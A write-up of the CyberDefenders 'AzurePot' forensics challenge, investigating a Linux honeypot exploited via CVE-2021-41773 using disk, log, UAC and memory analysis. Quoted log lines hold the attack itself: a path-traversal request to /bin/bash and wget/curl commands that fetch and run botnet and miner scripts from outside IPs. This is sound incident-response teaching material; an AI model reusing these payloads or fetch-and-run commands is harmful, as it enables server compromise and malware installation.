Cyberdefenders · Digital Forensics · Azurepot
Sommaire
This is my proposed solution for the cyberdefenders’s challenge AzurePot published on April 20, 2023.
The scenario :
This Ubuntu Linux honeypot was put online in Azure in early October to watch what happens with those exploiting CVE-2021-41773.
Initially, there was a large number of crypto miners that hit the system. You will see one cron script meant to remove files named kinsing in /tmp. This was a way of preventing these miners so more interesting things could occur.
There are three files:
- sdb.vhd.gz
- VHD of the main drive obtained through an Azure disk snapshot
- ubuntu.20211208.mem.gz
- Dump of memory using Lime
- uac.tgz
- Results of UAC running on the system
Items were obtained in the order above - the drive was snapshotted, memory was grabbed, then UAC was run.
Helpful Tools:
- FTK Imager (not mandatory; you can mount the vhd file on Linux)
- Text Editor (I like VsCode since it’s much efficient than gedit or sublime for large files)
- grep
- awk (not used here)
- Volatility2 and 3 (not mentionned in the scenario but useful for the two last questions)
NOTA :
For the first 9 questions, you have to browse the disk dump file (sdb.vhd). You can use FTK Imager or you can mount it on Linux. I used this tutorial: How to mount Virtual Hard disk (VHD) file in Ubuntu Linux? because I have neither Windows nor Wine.
Q1 There is a script that runs every minute to do cleanup. What is the name of the file? #
file: sdb.vhd
I you don’t know what cron
files are, look for scripts that run periodically. On a Linux system you can find it here: /var/spool/cron/crontabs
.
...
# m h dom mon dow command
* * * * * /root/.remove.sh
Answer : .remove.sh
Q2 The script in the Q#1 terminates processes associated with two Bitcoin miner malware files. What is the name of 1st malware file? #
file: sdb.vhd
Scenario gives a hint: You will see one cron script meant to remove files named kinsing in /tmp.
So in /tmp
I list all the files:
# ls -lah
total 2,4G
drwxrwxrwt 9 root root 12K déc. 8 2021 .
drwxr-xr-x 23 root root 4,0K déc. 4 2021 ..
drwxrwxrwt 2 root root 4,0K oct. 9 2021 .font-unix
drwxrwxrwt 2 root root 4,0K oct. 9 2021 .ICE-unix
-r--r--r-- 1 root root 0 oct. 9 2021 kdevtmpfsi
-r--r--r-- 1 root root 3,8M oct. 11 2021 kdevtmpfsi324024279
-r--r--r-- 1 root root 3,8M oct. 11 2021 kdevtmpfsi824415644
-r--r--r-- 1 root root 0 oct. 9 2021 kinsing
...
The first one is kinsing
(oct) and this this the answer.
The script in Q#1 changes the permissions for some files. What is their new permission? #
file: sdb.vhd
Q1 gives me location of .remove.sh
, I print its content :
# cat root/.remove.sh
#!/bin/bash
for PID in `ps -ef | egrep "kinsing|kdevtmp" | grep "/tmp" | awk '{ print $2 }'`
do
kill -9 $PID
done
chown root.root /tmp/k*
chmod 444 /tmp/k*
The script changes permissions to 444
.
Q4 What is the sha256 of the botnet agent file? #
file: sdb.vhd
The botnet agent is not located on /tmp
but on /var/tmp
I don’t know why, maybe to hide and not locate it in the same directory as the cryptomineers. In this directory you could see an executable file and calculate its sha256 sum :
# ls -lah var/tmp
total 68K
drwxrwxrwt 5 root root 4,0K déc. 8 2021 .
drwxr-xr-x 13 root root 4,0K sept. 28 2021 ..
drwxrwxrwt 2 root root 4,0K oct. 9 2021 cloud-init
-rwxr-xr-x 1 daemon daemon 48K nov. 11 2021 dk86
...
# sha256sum var/tmp/dk86
0e574fd30e806fe4298b3cbccb8d1089454f42f52892f87554325cb352646049 var/tmp/dk86
Q5 What is the name of the botnet in Q#4? #
file: sdb.vhd
Put the hash into VirusTotal and you will see that the popular threat label is trojan.linux/tsunami
.
Q6 What IP address matches the creation timestamp of the botnet agent file in Q#4? #
file: sdb.vhd
The CVE-2021-41773 is related to Appache2 (scenario). Check the Apache2 log files will be helpful in answering the following questions. Theses files are located on /var/log/apache2/access_log
file. Unfortunately, access_log
and error_log
files are too big for a raw investigation. The tip is to filter on the creation timestamp of dk86
:
# stat var/tmp/dk86
Fichier : var/tmp/dk86
Taille : 48748 Blocs : 96 Blocs d'E/S : 4096 fichier
Périphérique : 3ah/58d Inœud : 921 Liens : 1
Accès : (0755/-rwxr-xr-x) UID : ( 1/ daemon) GID : ( 1/ daemon)
Accès : 2021-11-11 20:09:51.454413754 +0100
Modif. : 2021-11-11 20:09:51.454413754 +0100
Changt : 2021-11-11 20:09:51.454413754 +0100
Créé : -
Be carreful timezone is displayed as +1 so you have to substract one hour to keep the timezone of the disk dump.
Use grep
on the access_log
(error_log
does not return anything) and you have the botnet agent IP:
grep 11/Nov/2021:19:09:51 var/log/apache2/access_log
141.135.85.36 - - [11/Nov/2021:19:09:51 +0000] "POST /cgi-bin/.%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/bin/bash HTTP/1.1" 200 - "-" "-"
Q7 What URL did the attacker use to download the botnet agent? #
file: sdb.vhd
I’m not sure of my reasoning, but as the attacker tried to exploit Apache2, interesting fingerprints were recorded in error_log
. At this time we know this:
- botnet agent name:
dk86
- attacker exploit tries to exploit CVE-2021-41773
- a quick look inside
error_log
show that there is a bash injection - timestamp of the botnet file creation : 11/Nov/2021:19:09:51 (the dowloading timestamp must be smaller)
Assuming the hacker downloaded the botnet agent earlier in the day, we could create an accurate filter. I assume the attacker used curl
or grep
to download the payload.
# grep -E 'Nov 11 .* 2021.* (wget|curl).*dk86' var/log/apache2/error_log
[Thu Nov 11 19:07:41.956674 2021] [dumpio:trace7] [pid 804:tid 139978797401856] mod_dumpio.c(103): [client 141.135.85.36:51774] mod_dumpio: dumpio_in (data-HEAP): echo; wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &;
[Thu Nov 11 19:07:41.962142 2021] [cgi:error] [pid 804:tid 139978797401856] [client 141.135.85.36:51774] AH01215: /bin/bash: line 1: `echo; wget -O dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86; chmod +x dk86; ./dk86 &;': /bin/bash
[Thu Nov 11 19:09:29.415116 2021] [dumpio:trace7] [pid 803:tid 139978805794560] mod_dumpio.c(103): [client 141.135.85.36:51978] mod_dumpio: dumpio_in (data-HEAP): echo; wget -O /tmp/dk86 http://138.197.206.223:80/wp-content/themes/twentysixteen/dk86;
URL appears !
Q8 What is the name of the file that the attacker downloaded to execute the malicious script and subsequently remove itself? #
file: sdb.vhd
Tricky question because the attacker does not used the same C2 serveur as in the previous question. A grep
filter on http://138.197.206.223:80
returns nothing more than the previous question. My thinking was to expand my timestamp filter (no longer on the day but on the whole month of November) and look at the injected bash.
# grep -E 'Nov.*2021.*(wget|curl)' var/log/apache2/error_log
[Mon Nov 01 10:15:10.895210 2021] [dumpio:trace7] [pid 4449:tid 139978898114304] mod_dumpio.c(103): [client 195.19.192.26:38080] mod_dumpio: dumpio_in (data-HEAP): A=|echo;(curl -s 195.19.192.28/ap.sh||wget -q -O- 195.19.192.28/ap.sh)|bash
...
We need more accuracy in the filter. Some of the matches are on error on curl
or wget
so we could improve the regex in order to catch only the commands and not the error (adding ’ \-’ at the end catch the command line and exclude error messages):
# grep -E 'Nov.*2021.*(wget|curl) \-' var/log/apache2/error_log
[Mon Nov 01 10:15:10.895210 2021] [dumpio:trace7] [pid 4449:tid 139978898114304] mod_dumpio.c(103): [client 195.19.192.26:38080] mod_dumpio: dumpio_in (data-HEAP): A=|echo;(curl -s 195.19.192.28/ap.sh||wget -q -O- 195.19.192.28/ap.sh)|bash
...
Even better, we could see that the attacker dowloaded strings encoded in base64. Let’s retrieve all the b64 encoded strings and decode:
...grep flags ... --data-urlencode 's=UE...Cg==' -o .install; chmod +x .install; sh .install > /dev/null 2>&1 &
echo 'Done'
else
echo 'Already install. Started'; cd .log/101068/.spoollog && sh .cron.sh > /dev/null 2>&1 &
fi
else
echo 'Already install Running'
fi
Two interesting things:
- a file named
.install
- an another string encoded in base64 let’s decode it
...
rm -rf .install
The file .install
remove itself, this is the flag !
Q9 The attacker downloaded sh scripts. What are the names of these files? #
file: sdb.vhd
0_cron.sh, 0_linux.sh, ap.sh
At the previous step, you might found theses files. But we can found theses files applying this filter:
# grep -Eo '(curl|wget).*.{5}\.sh' var/log/apache2/error_log|uniq
curl -s 195.19.192.28/ap.sh||wget -q -O- 195.19.192.28/ap.sh
curl -o- http://86.105.195.120/cleanfda/init.sh
curl -s 195.19.192.28/ap.sh||wget -q -O- 195.19.192.28/ap.sh
...
There is some bash files and I think they are all potentially malicious. But the ones that fit the expected pattern are :
0_cron.sh
0_linux.sh
ap.sh
Q10 Two suspicious processes were running from a deleted directory. What are their PIDs? #
file: uac
We are searching for processes so let’s explore the live_response/process
folder. We could see that some of the files are named with a command name (for example ps.txt
). A command used to link a process with a deleted directory is lsof
so let’s check lsof_-nPl.txt
. Inside, the NAME
column seems to indicate the location of the process, let’s search for deleted directory.
# grep 'deleted' live_response/process/lsof_-nPl.txt
COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME
none 609 0 txt REG 0,1 8632 15254 / (deleted)
sleep 6388 1 cwd DIR 8,17 0 528743 /var/tmp/.log/101068/.spoollog (deleted)
sh 20645 1 cwd DIR 8,17 0 528743 /var/tmp/.log/101068/.spoollog (deleted)
sh 20645 1 10r REG 8,17 9087 528810 /var/tmp/.log/101068/.spoollog/.src.sh (deleted)
agettyd 24330 1 txt REG 8,17 7244192 30248 /tmp/agettyd (deleted)
agettyd 24330 7897 1 txt REG 8,17 7244192 30248 /tmp/agettyd (deleted)
agettyd 24330 24333 1 txt REG 8,17 7244192 30248 /tmp/agettyd (deleted)
agettyd 24330 24334 1 txt REG 8,17 7244192 30248 /tmp/agettyd (deleted)
agettyd 24330 24335 1 txt REG 8,17 7244192 30248 /tmp/agettyd (deleted)
agettyd 24330 24336 1 txt REG 8,17 7244192 30248 /tmp/agettyd (deleted)
agettyd
have a valide name, which does not mean that is not a malicious process, but there it is more suspicious: src.sh
(PID 20645
); it appears in the error_log
file. At the same place, there was an another process was running : PID 6388
. We have our two PIDs.
Q11 What is the suspicious command line associated with the 2nd PID in Q#10? #
file: uac
To link command line and PID we can use ps -e
and we have ps_-ef.txt
file. Let’s grep it and get the command line:
# grep 20645 live_response/process/ps_-ef.txt
UID PID PPID C STIME TTY TIME CMD
daemon 20645 1 0 Nov14 ? 03:01:59 sh .src.sh
Q12 UAC gathered some data from the second process in Q#10. What is the remote IP address and remote port that was used in the attack? #
file: uac
The gathered datas are in live_response/process/proc/<num_proc>
. The environ.txt
file contains some interesting informations:
...
REMOTE_ADDR=116.202.187.77
...
REMOTE_PORT=56590
...
Q13 Which user was responsible for executing the command in Q#11? #
file: uac
In the Q11 (ps_-ef.txt
), we have the response: deamon
.
Q14 Two suspicious shell processes were running from the tmp folder. What are their PIDs? #
file: uac
Like in the Q10, we can link the location with the PIDs in lsof_-nPl.txt
and filter using grep:
# grep -E 'sh.*\/tmp' live_response/process/lsof_-nPl.txt
COMMAND PID TID USER FD TYPE DEVICE SIZE/OFF NODE NAME
sh 15853 1 cwd DIR 8,17 12288 4059 /tmp
sh 20645 1 cwd DIR 8,17 0 528743 /var/tmp/.log/101068/.spoollog (deleted)
sh 20645 1 10r REG 8,17 9087 528810 /var/tmp/.log/101068/.spoollog/.src.sh (deleted)
sh 21785 1 cwd DIR 8,17 12288 4059 /tmp
Two new PIDs appear: 15853
and 21785
(20645 was already known).
Q15 What is the MAC address of the captured memory? #
file: ubuntu.20211208.mem
The most technical part of the challenge begin here. Some of the information may be incorrect, I have recently learned these concepts and I am not comfortable with creating profiles and kernel specification yet. I think you could answer the next two questions with strings|grep
but it is more exctiting to create a custom profile.
Since the dump was not made on a Windows machine, Volatility2
can’t parse natively the mem file, we have to build our own profile. I follow this tutorial to make the profile: Security Post-it #3 – Volatility Linux Profiles.
Using Volatility3
you can get the kernel version of the mem dump:
# volatility3 -f ubuntu.20211208.mem banner
Volatility 3 Framework 2.4.2
Progress: 100.00 PDB scanning finished
Offset Banner
0x312001a0 Linux version 5.4.0-1059-azure (buildd@lcy01-amd64-003) (gcc version 7.5.0 (Ubuntu 7.5.0-3ubuntu1~18.04)) #62~18.04.1-Ubuntu SMP Tue Sep 14 17:53:18 UTC 2021 (Ubuntu 5.4.0-1059.62~18.04.1-azure 5.4.140)
So this the kernel version is 5.4.0-1059-azure
, and it is a Ubuntu 18.04
.
Next, go to the linux tool directory in vol2 and modify the KVER
variable in Makefile
with the kernel version:
# cd volatility/tools/linux
# The KVER variable must contains the kernel version (volatility/tools/linux/Makefile):
KVER ?= 5.4.0-1059-azure
Next, run a Docker
container using a Ubuntu 18.04
image (the Ubuntu version where was dumped the RAM). Note that other Ubuntu version will not work, you have to use the same version.
# docker run -it --rm -v $PWD:/volatility ubuntu:18.04 /bin/bash
Note that the d#
symbol represents the container prompt. Update the OS and install the following tools:
build-essential
dwarfdump
make
zip
Most important: install linux-image-<kernel_version>
and linux-headers-<kernel_version>
. For the challenge the packages will be:
linux-image-5.4.0-1059-azure
linux-headers-5.4.0-1059-azure
Once all is installed, go to the volatility
directory and build the dwarf-tools
file:
d# cd /volatility
d# make
make -C //lib/modules/5.4.0-1059-azure/build CONFIG_DEBUG_INFO=y M="/volatility" modules
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-1059-azure'
CC [M] /volatility/module.o
Building modules, stage 2.
MODPOST 1 modules
CC [M] /volatility/module.mod.o
LD [M] /volatility/module.ko
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-1059-azure'
dwarfdump -di module.ko > module.dwarf
make -C //lib/modules/5.4.0-1059-azure/build M="/volatility" clean
make[1]: Entering directory '/usr/src/linux-headers-5.4.0-1059-azure'
CLEAN /volatility/Module.symvers
make[1]: Leaving directory '/usr/src/linux-headers-5.4.0-1059-azure'
IMPORTANT: if you encounter an error relative to a missing licence in /volatility/module.c
, then add this line at this end of module.c
:
MODULE_LICENSE("GPL");
Finnaly, build the profile (Ubuntu-azure.zip
):
d# zip Ubuntu-azure.zip module.dwarf /boot/System.map-5.4.0-1059-azure
/boot/System.map-5.4.0-1059-azure
should exists inside your Docker. If not, you have not installed the right kernel packages. Quit the Docker and copy the Ubuntu-azure.zip
file into volatility/plugins/overlays/linux
.
Do you have built the profile correctly? Let’s try to use it in Volatility
:
# #display information about vol profiles
# python2 vol.py --info|grep Profile
Volatility Foundation Volatility Framework 2.6.1
Profiles
LinuxUbuntu-azurex64 - A Profile for Linux Ubuntu-azure x64
...
If you see LinuxUbuntu-azurex64
chances are your profile is valid, let’s test it. We are looking for the MAC address of the machine, according to the [vol2 documentation]
(https://downloads.volatilityfoundation.org/releases/2.4/CheatSheet_v2.4.pdf), linux_ifconfig
should give me the answer.
# python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_ifconfig
Volatility Foundation Volatility Framework 2.6.1
Interface IP Address MAC Address Promiscous Mode
---------------- -------------------- ------------------ ---------------
lo 127.0.0.1 00:00:00:00:00:00 False
eth0 10.0.0.4 00:22:48:26:3b:16 False
Here we go! The eth0 MAC address is the good answer :)
Q16 From Bash history. The attacker downloaded an sh script. What is the name of the file? #
file: ubuntu.20211208.mem
linux_bash
plugin gives the bash history, let’s make a grep on the output:
# python2 vol.py -f ubuntu.20211208.mem --profile=LinuxUbuntu-azurex64 linux_bash|grep -E '(wget |curl ).*\.sh'
Volatility Foundation Volatility Framework 2.6.1
4205 bash 2021-12-08 16:12:31 UTC+0000 wget http://88.218.227.141/wget.sh
4205 bash 2021-12-08 16:12:31 UTC+0000 wget http://185.191.32.198/unk.sh
9331 bash 2021-12-08 16:18:01 UTC+0000 grep curl error_log | grep ".sh
9331 bash 2021-12-08 16:18:01 UTC+0000 grep curl error_log | grep ".sh"
9331 bash 2021-12-08 16:18:01 UTC+0000 grep curl error_log | grep "\.sh"
Both of the IP are reported as malicious on VirusTotal, so I think the attacker downloaded at least two malicious files via bash. The only files that matches the pattern is unk.sh
.